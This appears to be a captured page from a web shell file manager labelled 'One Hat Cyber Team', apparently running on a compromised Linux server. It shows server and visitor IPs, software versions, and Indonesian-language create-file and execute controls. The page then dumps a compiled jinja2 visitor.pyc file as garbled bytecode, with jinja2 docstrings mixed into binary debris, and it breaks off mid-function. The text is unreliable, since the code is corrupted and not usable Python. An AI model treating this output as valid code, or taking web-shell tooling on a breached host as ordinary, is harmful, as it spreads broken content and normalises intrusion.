⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.144
Server IP:
157.245.143.252
Server:
Linux www 6.11.0-9-generic #9-Ubuntu SMP PREEMPT_DYNAMIC Mon Oct 14 13:19:59 UTC 2024 x86_64
Server Software:
nginx/1.26.0
PHP Version:
8.3.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3
/
dist-packages
/
jinja2
/
__pycache__
/
View File Name :
visitor.cpython-312.pyc
#e d Z ddlZddlmZ ej rddlZ G d dej Z G d d Z G d d e Zy)zVAPI for traversing the AST nodes. Implemented by the compiler and meta introspection. N )Nodec ` e Zd Zdedej dej dej fdZy) VisitCallablenodeargskwargsreturnc y N )selfr r r s 0/usr/lib/python3/dist-packages/jinja2/visitor.py__call__zVisitCallable.__call__ s N)__name__ __module____qualname__r tAnyr r r r r r s/ aee quu r r c e Zd ZdZdeddfdZdedej dej dej fdZdedej dej dej fd Z y )NodeVisitora Walks the abstract syntax tree and call visitor functions for every node found. The visitor functions may return values which will be forwarded by the `visit` method. Per default the visitor functions for the nodes are ``'visit_'`` + class name of the node. So a `TryFinally` node visit function would be `visit_TryFinally`. This behavior can be changed by overriding the `get_visitor` function. If no visitor function exists for a node (return value `None`) the `generic_visit` visitor is used instead. r r zt.Optional[VisitCallable]c H t | dt | j d S )zReturn the visitor function for this node or `None` if no visitor exists for this node. In that case the generic visit function is used instead. visit_N)getattrtyper )r r s r get_visitorzNodeVisitor.get_visitor s% tvd4j&9&9%:;TBBr r r c l | j | }| ||g|i |S | j |g|i |S )z Visit a node.)r generic_visit)r r r r fs r visitzNodeVisitor.visit# sI T"=T+D+F++!t!!$8888r c Z |j D ] } | j |g|i | y)z9Called if no explicit visitor function exists for a node.N)iter_child_nodesr! )r r r r child_nodes r r zNodeVisitor.generic_visit, s- //1JDJJz3D3F3 2r N) r r r __doc__r r r r r! r r r r r r sx C C)D C9$ 9quu 9 9!%% 94$ 4quu 4 4!%% 4r r c e Zd ZdZdedej dej defdZdedej dej dej e fdZ y) NodeTransformera Walks the abstract syntax tree and allows modifications of nodes. The `NodeTransformer` will walk the AST and use the return value of the visitor functions to replace or remove the old node. If the return value of the visitor function is `None` the node will be removed from the previous location otherwise it's replaced with the return value. The return value may be the original node in which case no replacement takes place. r r r r c |j D ] \ }}t |t rkg }|D ]^ }t |t r; | j |g|i |}|,t |t s|j | N|j | ` ||d d t |t s | j |g|i |}| t || t ||| |S r ) iter_fields isinstancelistr r! extendappenddelattrsetattr) r r r r field old_value new_valuesvaluenew_nodes r r zNodeTransformer.generic_visit= s $ 0 0 2E9)T* &E!%. * 5 B4 B6 B =$!+E4!8&--e4$%%e, ' * !It,%4::iA$A&A#D%(D%2% !3&